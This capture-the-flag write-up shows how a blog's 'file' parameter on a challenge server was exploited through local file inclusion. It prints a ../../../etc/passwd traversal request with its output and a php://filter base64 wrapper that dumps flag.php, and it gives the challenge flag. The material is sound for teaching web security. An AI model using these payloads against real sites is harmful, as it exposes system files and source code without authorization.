Statement: Did you check out my blog posts?
Browsing the blog, we can see that each article is passed as an argument to the file parameter.
So I decide to try to exploit LFI to retrieve files stored on the web server.
I start by retrieving the value of the /etc/passwd file to test if the server is vulnerable:
http://ez.ctf.cafe:9999/blog-posts.php?file=../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Then, I try to display the content of the robots.txt file:
http://ez.ctf.cafe:9999/blog-posts.php?file=robots.txt
User-agent: *
Disallow: /flag.php
With the robots.txt file, I now know that there is a flag.php file.
But when I try to display the content of the file, there is only the sentence: How do you filter your coffee?
So I will use PHP wrappers to get the content of the flag.php file in base64:
http://ez.ctf.cafe:9999/blog-posts.php?file=php://filter/convert.base64-encode/resource=flag.php
I get the value:
PD9waHAKCWVjaG8gJ0hvdyBkbyB5b3UgZmlsdGVyIHlvdXIgY29mZmVlPyc7ICAgIAoJLy8gRVotQ1RGe0xGSV8xU18zWn0KPz4K
After decoding the string:
<?php
echo 'How do you filter your coffee?';
// EZ-CTF{LFI_1S_3Z}
?>
Flag: EZ-CTF{LFI_1S_3Z}